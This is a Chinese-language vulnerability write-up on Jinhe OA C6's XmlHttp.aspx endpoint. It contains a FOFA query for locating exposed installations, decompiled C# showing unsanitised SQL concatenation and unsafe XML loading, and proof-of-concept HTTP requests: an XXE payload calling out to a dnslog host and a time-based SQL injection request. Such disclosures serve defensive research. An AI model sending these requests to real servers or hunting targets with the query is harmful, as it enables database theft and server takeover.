漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 Jhsoft.Web.Accept/XmlHttp.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
在 bin 目录下查找 JHSoft.Web.Accept.dll 将其进行反编译后找到 XmlHttp 的处理逻辑
protected void Page_Load(object sender, EventArgs e)
{
DBOperator dbOperator = DBOperatorFactory.GetDBOperator();
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.Load(this.Request.InputStream);
switch (xmlDocument.SelectSingleNode("//root//Flag").InnerText)
{
case "savesendperson":
string innerText1 = xmlDocument.SelectSingleNode("//root//hid1").InnerText;
string innerText2 = xmlDocument.SelectSingleNode("//root//hid2").InnerText;
List<string> stringList = new List<string>();
if (string.op_Inequality(innerText1, ""))
{
foreach (DataRow row in (InternalDataCollectionBase) dbOperator.ExecSQLReDataTable($"select userid from dbo.vw_Users where DeptID in ({innerText1}) and DeleteFlag = 0 and SysFlag = 0 and UserType<> 2").Rows)
{
if (!stringList.Contains(row["userid"].ToString()))
stringList.Add(row["userid"].ToString());
}
}
if (string.op_Inequality(innerText2, ""))
{
foreach (DataRow row in (InternalDataCollectionBase) dbOperator.ExecSQLReDataTable($"select userid from dbo.vw_Users where DeptID in ({innerText2}) and DeleteFlag = 0 and SysFlag = 0 and UserType<> 2").Rows)
{
if (!stringList.Contains(row["userid"].ToString()))
stringList.Add(row["userid"].ToString());
}
}
string str1 = "";
foreach (string str2 in stringList)
str1 = $"{str1}{str2},";
string str3 = str1.TrimEnd(new char[1]{ ',' });
string QueryString4 = $"delete from tb_hyz_ioasendPerson where datediff(day,getdate(),send_time)<>0 ; insert into tb_hyz_ioasendPerson values('{this.Session["usercode"].ToString()}','{str3}',getdate())";
dbOperator.ExecSQLReInt(QueryString4);
break;
case "checkAnJuan":
string innerText3 = xmlDocument.SelectSingleNode("//root//ajname").InnerText;
string QueryString5 = $"select * from vw_ArchivesDossierSearch where dossyear = '{xmlDocument.SelectSingleNode("//root//nd").InnerText}' and dosstitle = '{innerText3}'";
DataTable dataTable2 = dbOperator.ExecSQLReDataTable(QueryString5);
if (dataTable2 != null && ((InternalDataCollectionBase) dataTable2.Rows).Count > 0)
this.Response.Write("该年度案卷名称已存在!");
else
this.Response.Write("");
this.Response.End();
break;
case "checkJGWT":
string innerText4 = xmlDocument.SelectSingleNode("//root//jgwtname").InnerText;
string QueryString6 = $"select * from ArchivesDossierType where delflag = 0 and DossTName = '{innerText4}'";
string empty = string.Empty;
try
{
string innerText5 = xmlDocument.SelectSingleNode("//root//id").InnerText;
if (!string.IsNullOrEmpty(innerText5))
QueryString6 = $"select * from ArchivesDossierType where delflag = 0 and DossTName = '{innerText4}' and DossTID<>'{innerText5}'";
}
catch
{
}
DataTable dataTable3 = dbOperator.ExecSQLReDataTable(QueryString6);
if (dataTable3 != null && ((InternalDataCollectionBase) dataTable3.Rows).Count > 0)
this.Response.Write("该机构问题名称已存在!");
else
this.Response.Write("");
this.Response.End();
break;
case "plan_time":
string innerText6 = xmlDocument.SelectSingleNode("//root//userid").InnerText;
string QueryString7 = $"select CalendarBeginTime from dbo.CalendarMain where CalendarTitle ='明日提示' and CalendarContent = '{xmlDocument.SelectSingleNode("//root//content").InnerText}' and CalendarUser='{innerText6}' and delFlag=0";
DataTable dataTable4 = dbOperator.ExecSQLReDataTable(QueryString7);
if (dataTable4 != null && ((InternalDataCollectionBase) dataTable4.Rows).Count > 0)
{
string str4 = $"{dataTable4.Rows[0][0].ToString().Split(new char[1]
{
' '
})[1].Split(new char[1]{ ':' })[0]}:{dataTable4.Rows[0][0].ToString().Split(new char[1]
{
' '
})[1].Split(new char[1]{ ':' })[1]}";
this.Response.Write($"{dataTable4.Rows[0][0].ToString().Split(new char[1]
{
' '
})[0]}|{str4}|yes");
}
else
{
HttpResponse response = this.Response;
DateTime dateTime = DateTime.Now;
dateTime = dateTime.AddDays(1.0);
string str5 = dateTime.ToString("yyyy-MM-dd") + "|09:00|no";
response.Write(str5);
}
this.Response.End();
break;
}
}
请求内容直接使 xmlDocument.Load 加载处理,造成XXE漏洞,同时根据 Flag 的值不同做不同的处理,当 Flag 的值为 savesendperson 时,hid1、hid2 的值就被直接拼接进SQL语句中执行,无任何过滤和校验,造成SQL注入漏洞,其他如 checkJGWT、plan_time 也是存在同样的SQL注入漏洞。
漏洞复现
XXE
POST /c6/Jhsoft.Web.Accept/XmlHttp.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>

SQL注入
POST /c6/Jhsoft.Web.Accept/XmlHttp.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/xml
<root>
<hid1>1)SQLI_POC </hid1>
<hid2>1)SQLI_POC </hid2>
<ajname></ajname>
<jgwtname></jgwtname>
<id></id>
<userid></userid>
<Flag>savesendperson</Flag>
<fieldcode></fieldcode>
</root>

成功延时 6 秒钟

